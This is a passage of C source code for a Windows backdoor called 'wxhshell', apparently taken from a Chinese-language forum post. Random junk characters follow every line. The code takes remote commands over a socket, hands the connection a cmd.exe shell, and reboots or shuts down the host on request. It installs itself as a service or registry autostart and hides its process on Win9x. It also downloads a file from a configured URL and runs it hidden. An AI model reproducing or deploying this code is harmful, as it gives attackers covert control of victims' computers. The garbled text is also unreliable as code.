  else 0F^]A"kF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r]0(qg  
  } ^T{8uJ'kn  
  else { X($6IL6m  
q@%h^9.  
    switch(cmd[0]) { FRgLlp8x  
  r sLc&2F  
  // 帮助 uWTN 2jr  
  case '?': { 9 Va40X1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AVv#\JrRW  
    break; -1CEr_(P^  
  } ]% Y\ZIS  
  // 安装 %@P``  
  case 'i': { 9k}<Fz"^.  
    if(Install()) dgslUg9z3g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l DnMjK\M  
    else Z:|9N/>T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VJg,~lQN#t  
    break; 7G"7wYc>R  
    } .EG* +,  
  // 卸载 odpUM@OAW  
  case 'r': { P_}/#N{C  
    if(Uninstall()) <raG07{!*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sQtf,e|p  
    else 5DOE3T`^Oc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oIR.|=Hk{  
    break; y AOg\+  
    } "5}%"-#  
  // 显示 wxhshell 所在路径 +2Ql~w@$^l  
  case 'p': { waCboK'  
    char svExeFile[MAX_PATH]; 5%P[^}  
    strcpy(svExeFile,"\n\r"); E=k w)<X2  
      strcat(svExeFile,ExeFile); )v1CC..  
        send(wsh,svExeFile,strlen(svExeFile),0); 's.~$  
    break; `NSy"6{Z  
    } ?+Q$#pb  
  // 重启 sB6dp D  
  case 'b': { ~:EW>Fq%i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +#s;yc#=2  
    if(Boot(REBOOT)) f;wc{qy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xr.XU'  
    else { ~ezCu_  
    closesocket(wsh); qm'b'!gq~  
    ExitThread(0); B+Z13;}B  
    } "yW&<7u1  
    break; SX+4 HJB  
    } %$TEDr!  
  // 关机 #Qd' + M  
  case 'd': { ` 8UWE {  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x@m<Ym-  
    if(Boot(SHUTDOWN)) j{;|g%5t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) * TF"  
    else { 9U^$.Lb  
    closesocket(wsh); $O9Xx  
    ExitThread(0); k_?~<vTM  
    } +9[SVw8  
    break; NR4Jn?l{  
    } ~+HoSXu@E  
  // 获取shell #)] c0]p  
  case 's': { Uo6(|mm  
    CmdShell(wsh); DMd ,8W7a  
    closesocket(wsh); J?%}=_fsa  
    ExitThread(0); >vujZw_0>  
    break; jK3\K/ob(  
  } /\J|Uj  
  // 退出 I60DUuF  
  case 'x': { Z^# ]#f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^VI,C|  
    CloseIt(wsh); XlkGjjW#/J  
    break; bRPO:lAy  
    } =nU/ [T.  
  // 离开 h/<=u9J  
  case 'q': { R#qI( V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eOnT W4  
    closesocket(wsh); p<5!0 2yQ\  
    WSACleanup(); } 0M{A+  
    exit(1); 4x,hj  
    break; %l7fR}  
        } PLdn#S}.  
  } RUGv8"j  
  } aFY u}kl  
 KG8W8&q  
  // 提示信息 fg&eoI'f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \.<KA  
} >]&X ^V%Q#  
  } |^GyH$.  
XP?*=Z]  
  return; </s,pe79B  
} v <Hb-~  
z[9UQU~x?  
// shell模块句柄 I:$"E% >=  
int CmdShell(SOCKET sock) *)>do L  
{ o| D^`Z  
STARTUPINFO si; Yc`<S   
ZeroMemory(&si,sizeof(si)); .Yx_:h=u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZL_[4 Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6y  Wc1  
PROCESS_INFORMATION ProcessInfo; (oaYF+T  
char cmdline[]="cmd"; 6sB$<#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); , 2`~ NPb  
  return 0; r]LCvsVa  
} Hk;-5A|9  
BQjGv?p0s  
// 自身启动模式 \VN=Ef\E  
int StartFromService(void) 7=k^M, a  
{ 2z\;Q8g){r  
typedef struct &5Y_>{,  
{ S " pI  
  DWORD ExitStatus; kuKa8c  
  DWORD PebBaseAddress; -BhTkoN)  
  DWORD AffinityMask; s@!$='|  
  DWORD BasePriority; <KQ(c`KW7  
  ULONG UniqueProcessId; U7H9/<&o  
  ULONG InheritedFromUniqueProcessId; ?CY1]d  
}   PROCESS_BASIC_INFORMATION; x(~<tX~  
IR$ (_9z  
PROCNTQSIP NtQueryInformationProcess; NL!9U,h5|  
3~%!m<1:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Mf Q&U   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z"379b7cN  
T~k)uQ  
  HANDLE             hProcess; !LIlt`ag9  
  PROCESS_BASIC_INFORMATION pbi; /1fwl5\  
^M[P-#X_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &88oB6$D^q  
  if(NULL == hInst ) return 0; QUOKThY?  
sN/+   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l [%lE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (E!!pz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z'M`}3O  
5DFZ^~  
  if (!NtQueryInformationProcess) return 0; &Lt@} 7$8  
C2/}d? bki  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h6M;0_'  
  if(!hProcess) return 0; `|Fp^gM  
!'W-6f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jv&+<j`r  
vVVPw?Ww-  
  CloseHandle(hProcess); j[e,?!8;  
;BBpN`T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lG"H4Aa>  
if(hProcess==NULL) return 0; Kf.T\V4%  
<qeCso  
HMODULE hMod; {9'M0=  
char procName[255]; V#^yX%  
unsigned long cbNeeded; 4/*q0M{}B  
rVzI_zYqp'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )#[|hb=o  
t9u|iTY f!  
  CloseHandle(hProcess); y0IK,W'&?  
$[(d X!]F  
if(strstr(procName,"services")) return 1; // 以服务启动 ?L|yaC~  
+AI`R`Tm  
  return 0; // 注册表启动 0I%: BT  
} `ROG~0lN(  
<avQR9'&  
// 主模块 5H !y46z  
int StartWxhshell(LPSTR lpCmdLine) Tr.hmGU  
{ 5D' bJ6PO  
  SOCKET wsl; '`l K'5;  
BOOL val=TRUE; &jf7k <^  
  int port=0; )=_ycf^MC  
  struct sockaddr_in door; Y &f\VNlT  
6|=j+rScv  
  if(wscfg.ws_autoins) Install(); @Icq1zb] y  
{fz$Z!8-  
port=atoi(lpCmdLine); ZGz|m0b (  
wNDbHR  
if(port<=0) port=wscfg.ws_port; C`K^L=8`{  
yrr) y  
  WSADATA data; ?R'Y?b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; # c Fr   
TFH&(_b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   92[a; a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q5n`F5   
  door.sin_family = AF_INET; bToq$%sCg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wCb(>pL0  
  door.sin_port = htons(port); I/uy>*  
8r:M*25  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ix8$njp[  
closesocket(wsl); ;=~Xr"(/z  
return 1; 2<r\/-#pU  
} 9- )qZ  
,=PKd&  
  if(listen(wsl,2) == INVALID_SOCKET) { 6"QEJ  
closesocket(wsl); j1U 5~%^  
return 1; u, kU$  
} OAe#Wf!c  
  Wxhshell(wsl); tP(h9|[N  
  WSACleanup(); bcz-$?]  
l-O$m  
return 0; l]!B#{  
pv# 2]v  
} 0A[esWmP  
bB 6[Xj{  
// 以NT服务方式启动 C/tr$.2H=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WUoOGbA `  
{ ,sQ93(Vo  
DWORD   status = 0; Lp&k3?W  
  DWORD   specificError = 0xfffffff; :qj<p3w~}  
q,l)I+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :T@r*7hNT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ejePDgi_[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |a(fejO3  
  serviceStatus.dwWin32ExitCode     = 0; Fx#jV\''s  
  serviceStatus.dwServiceSpecificExitCode = 0; p*qPcuAA  
  serviceStatus.dwCheckPoint       = 0; SW 8x]B  
  serviceStatus.dwWaitHint       = 0; P3o @gkXP  
h*l&RR:i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W!la-n  
  if (hServiceStatusHandle==0) return; 1mgLX_U9  
0D~ Tga)  
status = GetLastError(); |m* .LTO  
  if (status!=NO_ERROR) m&Yi!7@(  
{ L^0v\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }iiHr|l3  
    serviceStatus.dwCheckPoint       = 0; S2^>6/[xM  
    serviceStatus.dwWaitHint       = 0; {qpi?oY  
    serviceStatus.dwWin32ExitCode     = status; 1~yZ T  
    serviceStatus.dwServiceSpecificExitCode = specificError; #1/}3+=5B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gNj7@bX~  
    return; SN Y (*  
  } $dg9z}D  
c:hK$C)T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l54 m22pfv  
  serviceStatus.dwCheckPoint       = 0; vNDu9ovs-  
  serviceStatus.dwWaitHint       = 0; 3Qn!y\#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mY-hN|  
} eph)=F$  
1|| nR4yK  
// 处理NT服务事件,比如:启动、停止 vF={9G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "8<K'zeS8  
{ m#5_%3T  
switch(fdwControl) B#l?IB~  
{ T3,1m=S  
case SERVICE_CONTROL_STOP: K`6z&*  
  serviceStatus.dwWin32ExitCode = 0; :%4imgY`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ngy=!g?Hk=  
  serviceStatus.dwCheckPoint   = 0; E3l*8F%<3  
  serviceStatus.dwWaitHint     = 0; [~mGsXV  
  { ~^US/"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &"E lm  
  } DSyXr~p8  
  return; 5W? PCOh\  
case SERVICE_CONTROL_PAUSE: >FF5x#^&c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i'HQQWd  
  break; QWO]`q`|  
case SERVICE_CONTROL_CONTINUE: L ^J- ("e_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4,P bg|  
  break; URTzX 2'[  
case SERVICE_CONTROL_INTERROGATE: R= 5 **  
  break; 2HL9E|h  
}; p3x?[ Ww  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ig#r4nQ=  
} %V_-%/3Z  
/n5n )P@L  
// 标准应用程序主函数 u?H 2%hD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6ghx3_%w  
{ D]03eu  
't (O$  
// 获取操作系统版本 kuMKX`_  
OsIsNt=GetOsVer(); >)nS2b OE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c4mh EE-  
X` r* ob  
  // 从命令行安装 vT{kL  
  if(strpbrk(lpCmdLine,"iI")) Install(); R)8s  
|(R5e  
  // 下载执行文件 Zj9c9  
if(wscfg.ws_downexe) { d IB }_L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x~DLW1I  
  WinExec(wscfg.ws_filenam,SW_HIDE); C"V%# K  
} [3>GGX[Ic  
[0;buVU.  
if(!OsIsNt) { 6z,Dyy]tl  
// 如果时win9x,隐藏进程并且设置为注册表启动 GF<[}  
HideProc(); V2d,ksKwn  
StartWxhshell(lpCmdLine); m@G i6   
} +Wn&,?3^  
else %:9oDK  
  if(StartFromService()) DC4C$AyW r  
  // 以服务方式启动 ^4Uw8-/9  
  StartServiceCtrlDispatcher(DispatchTable); |`O5Xs1{B  
else .TB"eUy  
  // 普通方式启动 \_]En43mg  
  StartWxhshell(lpCmdLine); H=c`&N7E  
;O#g"8  
return 0; NTs7KSgZ  
}
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只看该作者 1 发表于: 2006-10-10
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